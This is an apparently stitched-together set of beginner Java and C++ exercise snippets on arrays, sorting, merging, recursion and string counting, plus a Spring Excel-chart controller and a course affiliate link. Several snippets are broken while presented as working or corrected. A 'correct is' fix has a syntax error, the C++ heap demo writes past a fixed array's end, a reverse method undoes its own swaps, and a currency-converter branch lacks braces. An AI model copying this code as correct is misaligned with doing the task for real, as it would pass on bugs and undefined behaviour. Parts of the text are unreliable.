			for(int j=array[i].length-1; j>=0; j--) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}
//OOUTPUT:
6 5 
4 3 
2 1 
public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
				{16,17,18,19,20},
		};
		for(int row =0; row < array.length; row ++) {
			int total = 0;
			for(int column = 0; column < array[0].length; column++) {
				total = total + array[row] [column];
			}
			System.out.println("Sum for Row " + row + " , is = " + total);
		}
	}

//OUTPUT:

Sum for Row 0 , is = 15
Sum for Row 1 , is = 40
Sum for Row 2 , is = 65
Sum for Row 3 , is = 90
public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
				{16,17,18,19,20},
		};
		for(int colomn =0; colomn< array[0].length; colomn ++) {
			int total =0;
			for(int row = 0; row < array.length; row ++) {
				total = total + array[row] [colomn];
			}
			System.out.println("Sum for Colomn " + colomn + " , is = " + total);
		}
	}
//OUtPUT:
Sum for Column 0 , is = 34
Sum for Column 1 , is = 38
Sum for Column 2 , is = 42
Sum for Column 3 , is = 46
Sum for Column 4 , is = 50
public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
		};
		int total = 0;
		for(int row = 0; row < array.length; row ++) {
			for(int colomn =0; colomn< array[row].length; colomn ++) {
				total = total + array[row] [colomn];
			}
			System.out.println("total number in each line is = " + total);
		}
	}

//OutPut:
total number in each line is = 15
total number in each line is = 55
total number in each line is = 120
public static void main(String[] args) {
		
		int[] array = {100,22,3,44,55,66,77,88};
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter number that you are looking for:");
		int number = scanner.nextInt();
		
		//int search;
		
		for(int i=0; i<array.length; i++) {
			if(number == array[i]) {
				System.out.printf("number %d is in the array it's index %d \n", number, i);
			}
			else {
				System.out.println("sorry");
			}
		}
		
		scanner.close();
	}
}
public static void main(String[] args) {
		
		int [][] array = {
				{1,2,3,4,5},
				{6,7,8,9,10},
				{11,12,13,14,15},
		};
		for(int row = 0; row < array.length; row ++) {
			for(int colomn =0; colomn< array[row].length; colomn ++) {
				System.out.print(array[row] [colomn] + " ");
			}
			System.out.println();
		}
	}

//OutPut:
1 2 3 4 5 
6 7 8 9 10 
11 12 13 14 15 
#include <iostream>
#include <algorithm>

using namespace std;

int main() {
    // Creating an array
    int arr[] = {4, 10, 3, 5, 1};

    // Size of the array
    int size = sizeof(arr) / sizeof(arr[0]);

    // Building a max heap from the array
    make_heap(arr, arr + size);

    cout << "Max heap: ";
    for (int i = 0; i < size; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    // Inserting an element into the heap
    int newElement = 7;
    arr[size] = newElement;
    push_heap(arr, arr + size + 1);

    cout << "Max heap after insertion: ";
    for (int i = 0; i < size + 1; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    // Removing the maximum element from the heap
    pop_heap(arr, arr + size + 1);
    int maxElement = arr[size];
    --size;

    cout << "Max element removed: " << maxElement << endl;

    cout << "Max heap after removal: ";
    for (int i = 0; i < size; ++i) {
        cout << arr[i] << " ";
    }
    cout << endl;

    return 0;
}
#include <iostream>
#include <queue>
using namespace std;

// Binary Tree Node
struct Node {
    int data;
    Node* left;
    Node* right;
};

// Function to create a new node
Node* createNode(int value) {
    Node* newNode = new Node();
    if (!newNode) {
        cout << "Memory error\n";
        return NULL;
    }
    newNode->data = value;
    newNode->left = newNode->right = NULL;
    return newNode;
}

// Function to insert a node in the tree using level-order traversal
Node* levelOrderInsertion(Node* root, int value) {
    if (root == NULL) {
        root = createNode(value);
        return root;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        if (temp->left == NULL) {
            temp->left = createNode(value);
            break;
        } else {
            q.push(temp->left);
        }
        
        if (temp->right == NULL) {
            temp->right = createNode(value);
            break;
        } else {
            q.push(temp->right);
        }
    }
    
    return root;
}

// Depth-First Search (DFS) Traversal
void dfsTraversal(Node* root) {
    if (root == NULL) {
        return;
    }
    
    cout << root->data << " ";
    dfsTraversal(root->left);
    dfsTraversal(root->right);
}

// Breadth-First Search (BFS) Traversal
void bfsTraversal(Node* root) {
    if (root == NULL) {
        return;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        cout << temp->data << " ";
        
        if (temp->left != NULL) {
            q.push(temp->left);
        }
        
        if (temp->right != NULL) {
            q.push(temp->right);
        }
    }
}

// Function to delete leaf nodes using level-order traversal
Node* levelOrderDeletion(Node* root) {
    if (root == NULL) {
        return NULL;
    }
    
    queue<Node*> q;
    q.push(root);
    
    while (!q.empty()) {
        Node* temp = q.front();
        q.pop();
        
        if (temp->left != NULL) {
            if (temp->left->left == NULL && temp->left->right == NULL) {
                delete temp->left;
                temp->left = NULL;
            } else {
                q.push(temp->left);
            }
        }
        
        if (temp->right != NULL) {
            if (temp->right->left == NULL && temp->right->right == NULL) {
                delete temp->right;
                temp->right = NULL;
            } else {
                q.push(temp->right);
            }
        }
    }
    
    return root;
}

int main() {
    Node* root = NULL;
    
    // Level-order insertion
    root = levelOrderInsertion(root, 1);
    root = levelOrderInsertion(root, 2);
    root = levelOrderInsertion(root, 3);
    root = levelOrderInsertion(root, 4);
    root = levelOrderInsertion(root, 5);
    
    cout << "DFS Traversal: ";
    dfsTraversal(root);
    cout << endl;
    
    cout << "BFS Traversal: ";
    bfsTraversal(root);
    cout << endl;
    
    // Level-order deletion of leaf nodes
    root = levelOrderDeletion(root);
    
    cout << "DFS Traversal after deletion: ";
    dfsTraversal(root);
    cout << endl;
    
    return 0;
}
public class Exercise {

	public static void main(String[] args) {
		int[] array = {2,3,4,1,5};
		int[] myarray = {2,9,5,4,8,1,6};
		
		System.out.println("my normal array is: " + Arrays.toString(array));
		
//bubbleSort array:		
		bubbleSort(array);
		System.out.println();
		System.out.println("After Sorting From Small number to Large number. ");
		System.out.println("\t" + Arrays.toString(array));
		
		sort(array);
		System.out.println();
		System.out.println("After Sorting From Large number to Small number: ");
		System.out.println("\t" + Arrays.toString(array));
		
//selection array
		System.out.println();
		
		System.out.println("my second array is : " + Arrays.toString(myarray));
		selectionArray(myarray);
		System.out.println();
		System.out.println("After Selection Array from minimum number to maximum number: ");
		System.out.println("\t" + Arrays.toString(myarray));
		
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
	public static void sort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] < array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
	public static void selectionArray(int[] myarray) {
		for(int i =0; i<myarray.length; i++) {
			//find minimum in the list
			int currentMin = myarray[i];
			int currentMinIndex = i;
			
			for(int j= i+1; j< myarray.length; j++) {
				if(currentMin > myarray[j]) {
					currentMin = myarray[j];
					currentMinIndex = j;
				}
			}
			//swap list[i] with list[currentMinIndex]
			if(currentMinIndex != i) {
				myarray[currentMinIndex] = myarray[i];
				myarray[i] = currentMin;
			}
		}
	}

}


public class Exercise {

	public static void main(String[] args) {
		int[] array = {2,333,-40,1,5,21,0,10,99,-26};
		
		System.out.println("my normal array is: " + Arrays.toString(array));
		
		bubbleSort(array);
		System.out.println();
		System.out.println("After Sorting From Small number to Large number. ");
		System.out.println(Arrays.toString(array));
		
		sort(array);
		System.out.println();
		System.out.println("After Sorting From Large number to Small number: ");
		System.out.println(Arrays.toString(array));
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
	public static void sort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] < array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}

}
//OUTPUT:
my normal array is: [2, 333, -40, 1, 5, 21, 0, 10, 99, -26]

After Sorting From Small number to Large number. 
[-40, -26, 0, 1, 2, 5, 10, 21, 99, 333]

After Sorting From Large number to Small number: 
[333, 99, 21, 10, 5, 2, 1, 0, -26, -40]
package com.example.codelearning.api;

import com.aspose.cells.*;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.core.io.ByteArrayResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;

@RestController
@RequestMapping("excel")
public class ExcelApi {

    @GetMapping("/download")
    public ResponseEntity<Resource> downloadExcel() throws Exception {

        Workbook workbook = new Workbook();
        Worksheet worksheet = workbook.getWorksheets().get(0);

        // Tạo dữ liệu và biểu đồ
        createChartData(worksheet);

        // Lưu workbook vào ByteArrayOutputStream
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        workbook.save(outputStream, SaveFormat.XLSX);

        InputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
        org.apache.poi.ss.usermodel.Workbook workbookApache = WorkbookFactory.create(inputStream);

        workbookApache.removeSheetAt(1);
        outputStream.reset();
        workbookApache.write(outputStream);

        // Chuẩn bị tệp Excel để tải xuống
        ByteArrayResource resource = new ByteArrayResource(outputStream.toByteArray());

        return ResponseEntity.ok()
                .contentType(MediaType.parseMediaType("application/vnd.ms-excel"))
                .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=chart_example.xlsx")
                .body(resource);
    }

    private void createChartData(Worksheet worksheet) {
        // Tạo dữ liệu mẫu
        Cells cells = worksheet.getCells();
        cells.get("A1").setValue("Month test test test");
        cells.get("A2").setValue("Oct");
        cells.get("A3").setValue("Nov");

        cells.get("B1").setValue("Toyota");
        cells.get("B2").setValue(32);
        cells.get("B3").setValue(42);

        cells.get("C1").setValue("VinFast");
        cells.get("C2").setValue(100);
        cells.get("C3").setValue(125);

        Range range = worksheet.getCells().createRange("A1:C3");
        Style style = worksheet.getWorkbook().createStyle();
        style.setBorder(BorderType.TOP_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.BOTTOM_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.LEFT_BORDER, CellBorderType.THIN, Color.getBlack());
        style.setBorder(BorderType.RIGHT_BORDER, CellBorderType.THIN, Color.getBlack());
        range.setStyle(style);

        // Đặt chiều rộng cho cột A
        Column columnA = worksheet.getCells().getColumns().get(0);
        columnA.setWidth(25);

        // Tạo biểu đồ
        int chartIndex = worksheet.getCharts().add(ChartType.LINE_WITH_DATA_MARKERS, 5, 0, 15, 5);
        Chart chart = worksheet.getCharts().get(chartIndex);

        chart.getNSeries().add("B2:B3", true);
        chart.getNSeries().get(0).setName("Toyota");
        chart.getNSeries().add("C2:C3", true);
        chart.getNSeries().get(1).setName("VinFast");

        chart.getNSeries().setCategoryData("A2:A3");
        PlotArea plotArea = chart.getPlotArea();
        plotArea.getArea().setFormatting(FormattingType.NONE);
        plotArea.getBorder().setTransparency(1.0);

        Title title = chart.getTitle();
        title.setText("Biểu đồ phân tích");
        Font font = title.getFont();
        font.setSize(16);
        font.setColor(Color.getLightGray());

        chart.getChartArea().setWidth(400);
        chart.getChartArea().setHeight(300);
    }
}
//a.
//Problem is (Index 5 out of bounds for length 5)
public static void main(String[] args) {
		
		int[] array = new int[5];
		array[5] = 10;
		System.out.println(array[5]); //Accessing index 5, which is out of bounds
	}

//corect is =    int[] array = new int[6];
                 array[5] = 10;
                   System.out.println(array[5]);    //output: 10



//b.
public class MissingInitialization {
    public static void main(String[] args) {
        int[] array;
        array[0] = 5; // Missing initialization of the array
    }
}
//correct is =  int[] array = {5,2,,3,4}; //initial this way first
or int[] array = new int[5];
array[0] = 5;
System.out.println(Arrays.toString(array[0]));   //output:  5


//C part.
public static void main(String[] args) {
		
		int[] array1 = {1,2,3};
        int[] array2 = {1,2,3};
        
        if(Arrays.equals(array1, array2)) {
        	System.out.println("Arrys are equal.");
        }
        else {
        	System.out.println("Arrays are not equal.");
        }
	}
}
//output: 
Arrys are equal.
public static void main(String[] args) {
		
        int[] myArray={1,2,33,56,34,85,32};
        
        int[]newArray=myArray;
        
        Arrays.sort(newArray); --------> //true becaue we have this method. sort array smallest one to largest one
        
        boolean status= false;
        for(int i=0;i<newArray.length-1;i++)
        {
            
            if (myArray[i]>myArray[i+1])
            {
                status=false;
                break;
            }
            else
            {
                status=true;
            }
        }
        System.out.println(status);
	}
}
//outPut: 
true
public static void main(String[] args) {

  //First Way
        int[] myArray={1,2,33,56,34,85,32};
        
        Arrays.sort(myArray);
        System.out.println(Arrays.toString(myArray));
	}
}

//Second Way

public class QuestionsOfLab_12 {

	//Lab 11 _ Question _3:
	public static void main(String[] args) {
		
		int[] array = {2,9,5,10,-1,0};
		
		bubbleSort(array);
		System.out.println("Array after sorting is : " + Arrays.toString(array));
		
	}
	public static void bubbleSort(int[] array) {
		for(int i=0; i<array.length; i++) {
			for(int j=0; j<array.length-1-i; j++) {
				if(array[j] > array[j+1]) {
					int temp = array[j];
					array[j] = array[j+1];
					array[j+1] = temp;
				}
			}
		}
	}
}

Output:
Array after sorting is : [-1, 0, 2, 5, 9, 10]
public static void main(String[] args) {
		
        int[]myArray={1,2,33,56,34,85,32};
        int[]mystore=new int[7];
        
        int max=0;
        for(int i=0;i<myArray.length;i++)
        {
            if (myArray[i]>max)
            {
                
                max=myArray[i];
            }
        }
        
        System.out.println("maximum num = " + max);
        
        System.out.println(Arrays.toString(mystore));
        
        /*int secondLargest = 0;
        
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i] < max && myArray[i] > secondLargest) {
        		secondLargest = myArray[i];
        	}
        }
        System.out.println("The second Largest num in the array is = " + secondLargest); */
        
        
        int secondlargest=0;
        for(int i=0;i<myArray.length;i++)
        {
            
            mystore[i]=max-myArray[i]; // max - myArray[i] = 85-1= 84, 85-2= 83, 85-33= 52...
            
        }
        
        System.out.println(Arrays.toString(mystore));
        
        for(int i=0;i<myArray.length-1;i++)
        {
            if ((mystore[i]!=0) && (mystore[i]<=mystore[i+1]+1))
                secondlargest=i;
        }
        System.out.println("second largest num = " + myArray[secondlargest]);
    }
}
//outPut: 
maximum num = 85
[0, 0, 0, 0, 0, 0, 0]
[84, 83, 52, 29, 51, 0, 53]
second largest num = 56
int[]myArray={1,2,33,56,34,85,32};

 //find maximum number in the array

        int max=0;
        for(int i=0;i<myArray.length;i++)
        {
            if (myArray[i]>max)
            {
                
                max=myArray[i];
            }
        }
        
        System.out.println("maximum num in the array is = " + max);
//find second largest number in the array
        
        int secondLargest = 0;
        
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i] < max && myArray[i] > secondLargest) {
        		secondLargest = myArray[i];
        	}
        }
        System.out.println("The second Largest num in the array is = " + secondLargest);

//find third largest numbr in the array.
        int thirdLargest = 0;
        for(int i=0; i<myArray.length; i++) {
        	if(myArray[i]< secondLargest && myArray[i]> thirdLargest) {
        		thirdLargest = myArray[i];
        	}
        }
public static void main(String[] args) {
		
		int[]myArray={1,2,34};
        int max=0;
        for(int i=0;i<myArray.length;i++) // we don't need = and ()
        {
            if (myArray[i]>max)
            {
                max=myArray[i];
            }
            }
        System.out.println(max);
    }
}
//output: 
34
public static void main(String[] args) {
		int[] array1 = {10,20,30,40,50,60,70,80,90,100};
		int[] array2 = {200,300,400,500,-1,-2,-3};
		int[] array3 = {600,700,800,900,0};
		int[] array4 = {1000,2000,3000,4000,5000};
		
		int[] totalArray = merge(array1, array2, array3, array4);
		
		System.out.println(Arrays.toString(totalArray));
		
		
	}
	public static int[] merge(int[] array1, int[]array2, int[]array3, int[]array4) {
		int[] totalArray = new int[array1.length + array2.length + array3.length + array4.length];
		for(int i=0; i<array1.length; i++) {
			totalArray[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			totalArray[array1.length +i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			totalArray[array1.length + array2.length + i] = array3[i];
		}
		for(int i=0; i<array3.length; i++) {
			totalArray[array1.length + array2.length + array3.length + i] = array4[i];
		}
		return totalArray;
	}
//output: 
total array are = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 200, 300, 400, 500, -1, -2, -3, 600, 700, 800, 900, 0, 1000, 2000, 3000, 4000, 5000]
public static void main(String[] args) {
		int[] array1 = {1,2,3,4,5};
		int[] array2 = {6,7,8,9,10};
		int[] array3 = {100,200,300,400};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		System.out.println("array3 = " + Arrays.toString(array3));
		
		int [] array4 = merge(array1, array2, array3);
		
		System.out.println("After Merge of Three arrays are: ");
		
		System.out.println("array4 = " + Arrays.toString(array4));
		
	}
	public static int[] merge(int[] array1, int[] array2, int[] array3) {
		int[] array4 = new int[array1.length + array2.length + array3.length];
		for(int i=0; i<array1.length; i++) {
			array4[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array4[array1.length + i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			array4[array1.length + array2.length + i] = array3[i];
		}
		return array4;
	}
//output: 
public static void main(String[] args) {
		int[] array1 = {1,2,3,4,5};
		int[] array2 = {6,7,8,9,10};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		
		int [] array3 = merge(array1, array2);
		
		System.out.println("After Merge of two arrays are: ");
		
		System.out.println("array3 = " + Arrays.toString(array3));
		
	}
	public static int[] merge(int[] array1, int[] array2) {
		int[] array3 = new int[array1.length + array2.length];
		for(int i=0; i<array1.length; i++) {
			array3[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array3[array1.length + i] = array2[i];
		}
		return array3;
	}

//output:
array1 = [1, 2, 3, 4, 5]
array2 = [6, 7, 8, 9, 10]
After Merge of two arrays are: 
array3 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		int myPro = product(array);
		
		System.out.println("The Product numbers in the array are = " + myPro);
		
	}
	public static int product(int[]array) {
		int product = 1;
		for(int i=0; i<array.length; i++) {
			product = product * array[i];
		}
		return product;
	}
}
//output: 
The Product numbers in the array are = 120
	public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		int mySum = sum(array);
		
		System.out.println("Sum of number in the array are = " + mySum);
		
	}
	public static int sum(int[]array) {
		int sum = 0;
		for(int i=0; i<array.length; i++) {
			sum = sum + array[i];
		}
		return sum;
	}
//output: Sum of number in the array are = 15
public static void main(String[] args) {
		int[] array = {1,2,3,4,5};
		
		System.out.println("Array = " + Arrays.toString(array));
		
		
		swapAll(array, 3, 4);
		
		System.out.println("After swaping two number in the array are :");
		
		System.out.println("Array = " + Arrays.toString(array));
		
	}
	public static void swapAll(int[]array, int i, int j) {
		for(int count=0; count<array.length; count++) {
		int temp = array[i];
		array[i] = array[j];
		array[j] = temp;
		}
	}
}
//output: 
Array = [1, 2, 3, 4, 5]

After swaping two number in the array are :

Array = [1, 2, 3, 5, 4]
public static void main(String[] args) {
		int[] array1 = {1,2,3};
		int[] array2 = {4,5,6};
		
		System.out.println("Array1 = " + Arrays.toString(array1));
		System.out.println("Array2 = " + Arrays.toString(array2));
		
		swapAll(array1, array2);
		
		System.out.println("After swaping Array1 and Array2:");
		
		System.out.println("Array1 = " + Arrays.toString(array1));
		System.out.println("Array2 = " + Arrays.toString(array2));
		
	}
	public static void swapAll(int[]array1, int[]array2) {
		for(int i=0; i<array1.length; i++) {
		int temp = array1[i];
		array1[i] = array2[i];
		array2[i] = temp;
		}
	}
}
//output: Array1 = [1, 2, 3]
Array2 = [4, 5, 6]
After swaping Array1 and Array2:
Array1 = [4, 5, 6]
Array2 = [1, 2, 3]
public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6};
		
		reverse(array);
		
	}
	public static void reverse(int[] array) {
		//revere array.
		for(int i=0; i<array.length; i++) {
			int temp = array[i];
			array[i] = array[array.length-1-i];
			array[array.length-1-i] = temp;
			System.out.print(array[i]+ " ");
		}

	}
public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6,7,8,9,10};
		//revere array.
		for(int i=0; i<array.length; i++) {
			System.out.print(array[array.length-1-i]+ " ");
		}
	}
//output: 10 9 8 7 6 5 4 3 2 1
public static void main(String[] args) {
		
		int a = 100;
		int b = 20;
		System.out.println("a = " +a+ ", b = " + b);
		
		int temp = a;
		a = b;
		b = temp;
		System.out.println("a = " +a+ ", b = " + b);
		
	}
}
//output:
a = 100, b = 20
a = 20, b = 100
1.
public static void main(String[] args) {
		int[] numbers = {1,2,3,4,5,6,7,8,9,10};
		
		for(int i=0; i<numbers.length-1; i++) {
			System.out.print(numbers[i]+ " ");
		}
		System.out.println();
	}
//output:  1 2 3 4 5 6 7 8 9 

2.
public static void main(String[] args) {
		int[] numbers = {10,9,8,7,6,5,4,3,2,1};
		
		for(int i=0; i<numbers.length-1; i++) {
			if(numbers[i] > numbers[i+1]) {
				numbers[i+1] = numbers[i+1] * 2;
				
				System.out.print(numbers[i+1]+ " ");
			}
		}
		System.out.println();
	}
//output: 18 16 14 12 10 8 6 4 2 
import java.util.Scanner;

public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("How many times do you want to say (I LOVE YOU):");
		int number = scanner.nextInt();
		
		
		Love(number);
	
	}
	static void Love(int n){
//base case
		if(n>0) {
			System.out.println("I LOVE YOU " +n+ " times.");
			n--;
			Love(n);
		}
		else {
			System.out.println("have nice day my Love");
		}
	}
	
}
//output:
How many times do you want to say (I LOVE YOU):
10
I LOVE YOU 10 times.
I LOVE YOU 9 times.
I LOVE YOU 8 times.
I LOVE YOU 7 times.
I LOVE YOU 6 times.
I LOVE YOU 5 times.
I LOVE YOU 4 times.
I LOVE YOU 3 times.
I LOVE YOU 2 times.
I LOVE YOU 1 times.
have nice day my Love
import java.util.Scanner;

public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("How far do you want to walk (in meters):");
		int distance = scanner.nextInt();
		
		
		takeAStep(0, distance);
	
	}
	static void takeAStep(int i, int distance) {
//base case
		if(i<distance) {
			i++;
			System.out.println("*You take a step * " +i+ " meter/s.");
			takeAStep(i, distance);
		}
		else {
			System.out.println("You are done walking!");
		}
	}
	
}
//output:
How far do you want to walk (in meters):
10
*You take a step * 1 meter/s.
*You take a step * 2 meter/s.
*You take a step * 3 meter/s.
*You take a step * 4 meter/s.
*You take a step * 5 meter/s.
*You take a step * 6 meter/s.
*You take a step * 7 meter/s.
*You take a step * 8 meter/s.
*You take a step * 9 meter/s.
*You take a step * 10 meter/s.
You are done walking!
https://www.udemy.com/course/java-the-complete-java-developer-course/?LSNPUBID=JVFxdTr9V80&ranEAID=JVFxdTr9V80&ranMID=39197&ranSiteID=JVFxdTr9V80-rDuwRxEjcfBG99QKFOL42Q&utm_medium=udemyads&utm_source=aff-campaign
 public static void count(String str)
	    {
	        // Initially initializing elements with zero
	        // as till now we have not traversed 
	        int vowels = 0, consonants = 0;
	       
	        // Declaring a all vowels String
	        // which contains all the vowels
	        String all_vowels = "aeiouAEIOU";
	       
	        for (int i = 0; i < str.length(); i++) {
	             
	            // Check for any special characters present
	            // in the given string
	            if ((str.charAt(i) >= 'A'
	                 && str.charAt(i) <= 'Z')
	                || (str.charAt(i) >= 'a'
	                    && str.charAt(i) <= 'z')) {
	                if (all_vowels.indexOf(str.charAt(i)) != -1)
	                    vowels++;
	                else if(str.charAt(i) >= 'A' || str.charAt(i)>= 'a' || str.charAt(i)<='z' || str.charAt(i)<='Z') 
	                    consonants++;
	            }
	        }
	       
	        // Print and display number of vowels and consonants
	        // on console
	        System.out.println("Number of Vowels = " + vowels
	                           + "\nNumber of Consonants = "
	                           + consonants);
	    }
	 
	    // Method 2
	    // Main driver method
	    public static void main(String[] args)
	    {
	        // Custom string as input
	        String str = "i am Mohamed Abdirizak";
	       
	        // Calling the method 1
	        count(str);
	    }

}
// OUTPUT:
Number of Vowels = 9
Number of Consonants = 10


//ANOTHER WAY
import java.util.Scanner;
public class Exercise {

	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		 //Counter variable to store the count of vowels and consonant    
        int vCount = 0, cCount = 0;    
            
        //Declare a string    
        String str = "My names is Mohamed Abdirizak Ali";    
            
        //Converting entire string to lower case to reduce the comparisons    
        str = str.toLowerCase();    
            
        for(int i = 0; i < str.length(); i++) {    
            //Checks whether a character is a vowel    
            if(str.charAt(i) == 'a' || str.charAt(i) == 'e' || str.charAt(i) == 'i' || str.charAt(i) == 'o' || str.charAt(i) == 'u') {    
                //Increments the vowel counter    
                vCount++;    
            }    
            //Checks whether a character is a consonant    
            else if(str.charAt(i) >= 'a' && str.charAt(i)<='z') {      
                //Increments the consonant counter    
                cCount++;    
            }    
        }    
        System.out.println("Number of vowels:" + vCount  );    
        System.out.println("Number of consonants: " + cCount);   
        
        scanner.close();
    }    
}   

//OUTPUT: 
Number of vowels:12
Number of consonants: 16
import java.util.Scanner;

public static void main(String[] args) {

		Scanner scanner = new Scanner(System.in);
		
		System.out.print("Enter String name: " );
		String name = scanner.nextLine();
		int k = name.length();
		int f = 1;
		String z = "";
		
		for(int i=0; i<k; i++) {
			char c = name.charAt(i);
			if(c == 'A' || c == 'a' || c == 'E' || c =='e' || c == 'I' || c == 'i' || c == 'O' || c == 'o' || c=='U' || c=='u')
				f=0;
			else
				z = z+c;
			}
		System.out.println("String Without Vowels is : " +z);
		}
	}
public class methods {

	public static void main(String[] args) {
		//Scanner scanner = new Scanner(System.in);
		double[] array = {2.3, 4.5, 6.7, 3.9};
		
		double product = product(array);
		System.out.println("The product of all double number in the array are = " + product);
		
		double sum = sum(array);
		System.out.println("The sum of all number in the array are = " + sum);
	}
	public static double product(double[] array) {
		double product = 1.0;
		for(int i=0; i<array.length; i++) {
			product = product * array[i];
		}
		return product;
	}
	public static double sum(double[] array) {
		double sum =0;
		for(int i=0; i<array.length; i++) {
			sum = sum + array[i];
		}
		return sum;
	}
}
public class methods {

	public static void main(String[] args) {
      
		int[] array = {2, 3, 4, -2, 10, 32};

		int getMax = max(array);
		System.out.println(getMax);
		
		printArray(array);
		
    }
// This is returd method while you call array into the main class

	public static int max(int[] array) {
		int max = array[0];
		for(int i =0; i< array.length; i++) {
			if(array[i]> max) {
				max = array[i];
			}
		}
		return max;
	}

  
	//this is method that print array while you call into main class
	public static void printArray(int [] array) {
		for(int i=0; i<array.length; i++) {
			System.out.print(array [i] + " ");
		}
	}
}
		
public static void main(String[] args) {
//Question 1.
		//int[] array = {1,-2,3,0,5,6,7,8,100,10};
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter the rate of exchange: ");
		double exchange_rate = scanner.nextDouble();
		
		System.out.println("Press 0: to conver Dollar to Turkish Lira  \nPress 1: to conver Turkish Lira to Dollar" );
		int choice = scanner.nextInt();
		
		if(choice == 0) {
			System.out.println("Enter amount in Dollar: ");
			double amount = scanner.nextDouble();
			amount = amount * exchange_rate;
			
			System.out.printf("Your amount from Dollar to Turkish Lira is %.3f: " , amount , " Lira");
		}
		else if(choice == 1)
			System.out.println("Enter amount in Turkish Lira: ");
		    double amount = scanner.nextDouble();
		    amount = amount / exchange_rate;
		    
		    System.out.printf("Your amount from Turkish Lira to Dollar is %.3f: " , amount , " Dollar");
		}
	}
Question 1
public static void main(String[] args) {
		int[] array = {1,2,3,4,5,6};
		
		 //boolean result = isUnique(array);
		 System.out.print(isUnique(array));
		
	}
	
	public static boolean isUnique(int[] array) {
		int value;
		for(int i=0; i<array.length; i++) 
		{
			value = array[i];
			for(int j=i+1; j<array.length; j++) 
			{
				if(value == array[j]) 
				{
					return false;
					}
				}
		}
		return true;
	}
}
//OUTPUT:
true


public static void main(String[] args) {
		int[] array = {2,2,3,4,5,6};
		
		 //boolean result = isUnique(array);
		 System.out.print(isUnique(array));
		
	}
	
	public static boolean isUnique(int[] array) {
		int value;
		for(int i=0; i<array.length; i++) 
		{
			value = array[i];
			for(int j=i+1; j<array.length; j++) 
			{
				if(value == array[j]) 
				{
					return false;
					}
				}
		}
		return true;
	}
}
//OUTPUT:
false

public static void main(String[] args) {

		int[] array = {1,-2,3,0,5,6,7,8,100,10};
		
		int myMin = min(array);
		System.out.println("minimum number in the array is = " + myMin);
}
public static int min(int[] array) {
		int min = 10;
		for(int i=0; i<array.length; i++) {
			if(array[i] < min) {
				min = array[i];
			}
		}
  return min;
}
public static void main(String[] args) {
		int[] array = {1,-2,3,0,5,6,7,8,100,10};
  
		int myMax = max(array);
		System.out.println("maxmimum number in the array is = " + myMax );
}
public static int max(int[] array) {
		int max = 0;
		for(int i =0; i< array.length; i++) {
			if(array[i] > max) {
				max = array[i];
			}
		}
		return max;
	}
public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter, How many Days Temperature: ");
		int days = scanner.nextInt();
		
		int[] temps = new int[days];
		int sum = 0;
		
		for(int i =0; i<days; i++) {
